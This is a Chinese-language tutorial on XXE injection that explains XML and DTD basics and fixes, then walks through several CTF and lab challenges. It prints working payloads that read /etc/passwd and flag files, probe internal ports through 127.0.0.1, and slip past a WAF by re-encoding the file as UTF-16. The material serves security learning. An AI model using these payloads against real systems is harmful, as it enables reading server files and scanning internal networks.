定义:
XXE注入,即XML External Entity,XML外部实体注入。通过 XML 实体,”SYSTEM”关键词导致 XML 解析器可以从本地文件或者远程 URI 中读取数据。所以攻击者可以通过 XML 实体传递自己构造的恶意值,使处理程序解析它。当引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
漏洞修复
- 使用开发语言禁用外部实体;
- 过滤SYSTEM/PUBLIC等关键字;
- 升级 libxml 组件
XML
定义:
XML:可扩展标记语言,标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言。它被设计用来传输和存储数据,可扩展标记语言是一种很像超文本标记语言的标记语言。它的设计宗旨是传输数据,而不是显示数据。它的标签没有被预定义。需要自行定义标签。
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素
示例:
DTD
简介:
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
作用:
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。
通过 DTD,您的每一个 XML 文件均可携带一个有关其自身格式的描述。
通过 DTD,独立的团体可一致地使用某个标准的 DTD 来交换数据。
而您的应用程序也可使用某个标准的 DTD 来验证从外部接收到的数据。
内部 DOCTYPE 声明
假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:
<!DOCTYPE root-element [element-declarations]>
带有 DTD 的 XML 文档实例
外部文档声明
假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:
<!DOCTYPE root-element SYSTEM "filename">
这个 XML 文档和上面的 XML 文档相同,但是拥有一个外部的 DTD:
这是包含 DTD 的 “note.dtd” 文件:
正是由于外部的DTD是可控的,所以就产生了XML外部实体注入漏洞(XXE)
示例:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "file:///D://phpStudy//WWW//aa.txt">]>
<root>
<name>&xxe;</name>
</root>
例题
[NCTF2019]True XML cookbook
打开一个登录界面
抓包看看
明显是xxe,利用点在username这里
测试一下
<?xml version=”1.0″ encoding=”utf-8″?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM “file:///etc/passwd”>
]>
<user><username>&admin;</username><password>111</password></user>
执行file:///etc/passwd成功了
直接读flag的话读不出来
尝试下其他命令也不行
xxe是可以探测内网的,试一下
/etc/hosts,/proc/net/arp,/proc/net/fib_trie
这三条命令都可以探测内网
在/proc/net/fib_trie里可以看到一个ip
直接访问是什么都没有
那就查询下同网段内存在不存在其他地址,使用bp的爆破模块进行爆破
青少年ctf-php的xxe
打开是一个phpinfo页面
看到libxml的版本为2.8.0
libxml低于2.9.0的存在一个xxe漏洞
如果目录下存在dom.php、SimpleXMLElement.php、simplexml_load_string.php均可触发XXE漏洞。
访问dom.php
发现该页面存在,所以存在xxe漏洞
bp抓包
发送
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<root>
<name>&xxe;</name>
</root>
得到flag
XXE-lab
打开靶场如下:
查看源代码:
可以看到在Login按钮下会触发javascript脚本的doLogin()函数
JavaScript脚本的doLogin()函数如下所示:
JavaScirpt脚本会将用户输入的username和password转化成xml格式的数据,并且利用ajax的方法提交,提交时xml格式的数据被当作Post数据包的内容进行提交。
在这个靶场中if else语句逻辑似乎出现了错误,相等时result返回的结果应该是0,而不相等时result返回的结果应该是1。
在上述代码中,关键函数如下:
libxml_disable_entity_loader(False)
这段代码意思是设置允许PHP加载外部实体,这也是本靶场的漏洞产生主要原因。在生产环境下,需要将这里的False改为True,即可避免产生XXE漏洞。
loadXML()
该函数可以将一个输入的字符串转化为DOMDocument对象。
simplexml_import_dom
该函数可以把DOM节点转化为SimpleXMLElement对象。
先随便输入个username和password,然后抓包
测试下发现在username这里引用实体是有回显的
用file://协议读取一下d盘下的1.txt文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XL [
<!ENTITY fl SYSTEM "file:///D:/1.txt">]>
<user>
<username>&fl;</username>
<password>asdf</password>
</user>
在<msg>里回显了1.txt的内容: good
和本机下d盘中的1.txt文件内容一样
说明成功了
也可以进行内网端口扫描
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XL [
<!ENTITY fl SYSTEM "http://127.0.0.1:80">]>
<user>
<username>&fl;</username>
<password>asdf</password>
</user>
把端口设为payload
paylaod设为数值,从1到65535
然后对比长度看回显就可以知道那些端口是开放的了,比如默认的端口80
[CSAWQual 2019]Unagi
一个文件上传的页面,要我们上传一个用户
about提示flag在/flag里
告诉了我们文件的格式:
明显是一个xxe漏洞
建一个1.xml,内容如下:
<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
<intro>&xxe;</intro>
</user>
</users>
这里引用实体的标签用的是intro标签
其他的发现有限制,在user界面发现了有个intro标签
在不知道用哪个标签是可以全用
上传1.xml
发现有waf
这里采用编码绕过
将utf8编码转换为utf16编码
命令:
iconv -f utf8 -t utf16 1.xml>2.xml
意思很简单,就是将1.xml内容的编码从utf8转换成utf16,然后放到2.xml文件里去
iconv是linux的命令
所以打开kali
将1.xml放到桌面上
然后用cd命令进入到desktop目录
然后执行iconv -f utf8 -t utf16 1.xml>2.xml即可
这个时候可以发现桌面上新建了一个2.xml
可以打开看一下
内容确实变成了utf16编码
将2.xml上传即可得到flag
知识点:
linux中的iconv命令
介绍:
linux下的iconv命令是一个用于字符编码转换的工具,它可以将一个字符编码转换为另一个字符编码。
- 命令格式:
iconv [选项]… [-o 目标字符编码]… [输入文件]…